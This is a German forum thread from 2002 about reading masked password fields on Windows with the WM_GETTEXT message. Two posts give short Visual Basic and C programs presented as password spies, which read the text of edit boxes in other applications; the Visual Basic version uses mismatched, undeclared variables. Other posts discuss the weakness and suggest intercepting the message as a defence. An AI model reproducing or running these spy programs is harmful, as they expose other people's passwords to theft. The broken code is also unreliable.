Willkommen ~Gast!
Registrieren || Einloggen || Hilfe/FAQ || Staff
Probleme mit der Registrierung im Forum? Melde dich unter registerEin Bild.
Autor Beitrag
000
24.02.2002, 22:45
TheTinySteini



Tja, neulich hatten sie beim WDR-Computerclub (bah, früher war die Sendung mal richtig gut, hat arg nachgelassen...) ein bisschen was über Sicherheit mit Windows. Naja, und da haben sie schnell angedeutet, wie man sich nen Passwort-Späher selber programmieren kann. Und weil ich mich sowieso gerade mit Windows-Programming beschäftige, musste ich das natürlich gleich mal ausprobieren. Sind tatsächlich nur wenige Zeilen, ich hab's in Visual Basic gemacht, ging schneller und können vermutlich mehr Leute nachvollziehen. Also, ich braucht ne normale Form (Form1), ein Textfeld (Text1) und ein Label (Label1). Dann einfach diesen Code in den Form-Code pasten:
Quellcode:Option Explicit

Private Type POINTAPI
    x As Long
    y As Long
End Type

Private finish As Boolean
Private Const WM_GETTEXT = &HD
Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long


Private Sub Command1_Click()
Dim lpPoint As POINTAPI
Dim sRetStr As String
Dim hWnd As Long
    sClassName = String$(256, 0)
    Do
        GetCursorPos lpPoint
        hWnd = WindowFromPoint(lpPoint.x, lpPoint.y)
        SendMessage hWnd, WM_GETTEXT, Len(sClassName), ByVal sRetStr
        Label1.Caption = Str(lpPoint.x) & Str(lpPoint.y)
        Text1.Text = sRetval
        DoEvents
    Loop While Not finish
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
    finish = True
End Sub

Und schon könnt ihr aus den allermeisten Passwort-Feldern, wo das Passwort drinsteht, aber mit Sternchen verdeckt ist, den Text auslesen. Schon krass, dass das so einfach is...

--

TheTinySteini
Coder Poke646
"Don't Panic" - Hitchhiker's Guide to the Galaxy

zum Seitenanfang zum Seitenende Profil || Suche
001
24.02.2002, 22:50
Retro



"nett" - eher ironisch gemeint...

Aber man sieht mal wieder wie weit es mit der Sicherheit unter Windows steht! :\

--

shielding people from their own stupidity is an evolutionary step backwards anyway.

/* God is dead!............Nietzsche */
/* Nietzsche is dead!......God */
/* Nietzsche is God!.......The Dead */

zum Seitenanfang zum Seitenende Profil || Suche
002
24.02.2002, 23:42
Ferdi



kenn ich....

nur im Praktischen umgang nützt mir dass relativ wenig

--

zum Seitenanfang zum Seitenende Profil || Suche
003
25.02.2002, 12:33
Another1



leider is windowFromPoint nich sehr 'genau' (irgendwie mag es childwindows nit so recht)
also ich hatte damit immer probleme, als ich mal nen passwort-späher gecoded hatte, naja, aber egal =)

--

Another1

...relaxing..atm =)
... und Schweiz suckt!

zum Seitenanfang zum Seitenende Profil || Suche
004
25.02.2002, 15:24
TheTinySteini



Och, funzt für mich eigentlich einwandfrei...
Ich muss zwar sowieso keine Passwörter erspähen (die hab ich schließlich alle höchstpersönlich eingegeben - is nur ganz praktisch wenn man ein Passwort vergessen hat, was man sich schlecht merken kann, etwa ein automatisch generiertes, was man nicht ändern kann), aber man merkt doch, wie schlecht es um Sicherheit bestellt ist. Allerdings könnte man als vernünftiger und sicherheitsbewusster Coder die WM_GETTEXT-Message abfangen. Problem: Wenn man nun tatsächlich den Text auslesen will, hat man sich selber ausgeschlossen...

--

TheTinySteini
Coder Poke646
"Don't Panic" - Hitchhiker's Guide to the Galaxy

zum Seitenanfang zum Seitenende Profil || Suche
005
25.02.2002, 15:46
Tron



den trick kenn ich schon, das ist schon uebelst, wie billig man infos aus windows rauskitzlen kann.
aber funktioniert das eigentlich auch bei win nt/2k? ich selbst hab nur 98, da kann ich das nicht testen.

ich haette eine idee, wie man sich dagegen sichern kann: wie TTS gesagt hat, WM_GETEXT abfangen, aber dann dennoch an DefWindowProc weiterleiten wenn zusaetzlich ein programminternes flag gesetzt ist.

--

'KEINE PANIK' - aus der Triologie in fuenf Baenden von Douglas Adams

'FÜR DEINN FERD' - aus 'Gevatter Tod' von Terry Pratchett

zum Seitenanfang zum Seitenende Profil || Suche
006
25.02.2002, 15:50
Tron



Zitat:
Another1 postete
leider is windowFromPoint nich sehr 'genau' (irgendwie mag es childwindows nit so recht)
also ich hatte damit immer probleme, als ich mal nen passwort-späher gecoded hatte, naja, aber egal =)

aus der msdn library:

Zitat:
An application should use the ChildWindowFromPoint function for a nonrestrictive search.

WindowFromPoint liefert nur das Handle zu einem parent window.
mit ChildWindowFromPoint kann man das ergebnis 'verfeinern'.

--

'KEINE PANIK' - aus der Triologie in fuenf Baenden von Douglas Adams

'FÜR DEINN FERD' - aus 'Gevatter Tod' von Terry Pratchett

zum Seitenanfang zum Seitenende Profil || Suche
007
25.02.2002, 16:36
Another1



nunja, ich bin ja auch nich ganz blöde und hab das natürlich auch schon mit ChildWindowFromPoint versucht, leider gab diese methode immer das parent window zurück, also das gleiche wie windowFromPoint, irgendwie sowas in der art, jedenfalls ging es mit diesen beiden functionen net so einfach.

--

Another1

...relaxing..atm =)
... und Schweiz suckt!

zum Seitenanfang zum Seitenende Profil || Suche
008
25.02.2002, 16:40
Tron



hast du auch die mauskoordinaten in koordinaten relativ zur linken oberen ecke des parent windows umgerechnet (also MouseXY - ParentXY)

--

'KEINE PANIK' - aus der Triologie in fuenf Baenden von Douglas Adams

'FÜR DEINN FERD' - aus 'Gevatter Tod' von Terry Pratchett

zum Seitenanfang zum Seitenende Profil || Suche
009
25.02.2002, 16:44
Prefect



Das Problem ist, daß es zwei verschiedene Arten von Sicherheit gibt:

1. Das System wird gegen User geschützt

2. Die User werden gegen schädliche Programme (Trojaner) geschützt

Das erste ist in einem vernünftigen Multi-User-System leicht zu realisieren (also Windows NT, Unices, ...).
Das zweite ist in einer graphischen Oberfläche gar nicht so leicht zu erreichen... man könnte ja zum Beispiel auch einfach ein Programm schreiben, das dem User ein gelocktes System vorgaukelt und ihn so zur Eingabe seines Paßworts verleitet... es gibt sehr sehr viele Möglichkeiten.

Das aber einfach irgendwelche Anwendungen an irgendwelche anderen Anwendungen frei Haus Windowmessages schicken können ist ein ziemlich hartes Stück.
Unix bietet auf diesen Ebenen (Shared Memory, Pipes, Unix Domain Sockets) übrigens ähnliche Schwachstellen.

cu,
Prefect

--

Widelands - Gemütliche Aufbaustrategie, Free Software
Noch ein Blog - Lerne, wie die Welt wirklich ist, aber vergiss niemals, wie sie sein sollte.

zum Seitenanfang zum Seitenende Profil || Suche
010
25.02.2002, 19:22
TheTinySteini



Das dumme ist ja auch, dass eine Anwendung praktisch nicht feststellen kann, von welcher anderen Anwendung aus die Message geschickt wurde. Auf dieser Basis basieren ja unzählige Hacks und Exploits...

--

TheTinySteini
Coder Poke646
"Don't Panic" - Hitchhiker's Guide to the Galaxy

zum Seitenanfang zum Seitenende Profil || Suche
011
06.03.2002, 17:13
[RMen]OneStone



Untested, written in 10 min:Quellcode:
#include <windows.h>

bool EnumProc(HWND hWnd, void* pParam);

int WINAPI WinMain( ... )
{
-EnumWindows(EnumProc, false);
-return 0;
}

bool EnumProc(HWND hWnd, void* pParam)
{
-if(pParam)
-{
--char szClassName[128], szContent[256];

--GetClassName(hWnd, szClassName, 128);
--if(strncmp(_strlwr(szClassName), "edit", 4) == 0)
--{
---SendMessage(hWnd, WM_GETTEXT, 256, (LPARAM) szContent);
---MessageBox(0, szContent, "Edit Box Spy", MB_ICONINFORMATION);
--}
-}
-else
--EnumChildWindows(hWnd, EnumProc, true);

-return true;
}

--

georg-wicherski@pixel-house.net | http://www.pixel-house.net/ - Coding Resource| http://www.google.de/


Dieser Beitrag wurde am 06.03.2002 um 17:16 von [RMen]OneStone bearbeitet.
zum Seitenanfang zum Seitenende Profil || Suche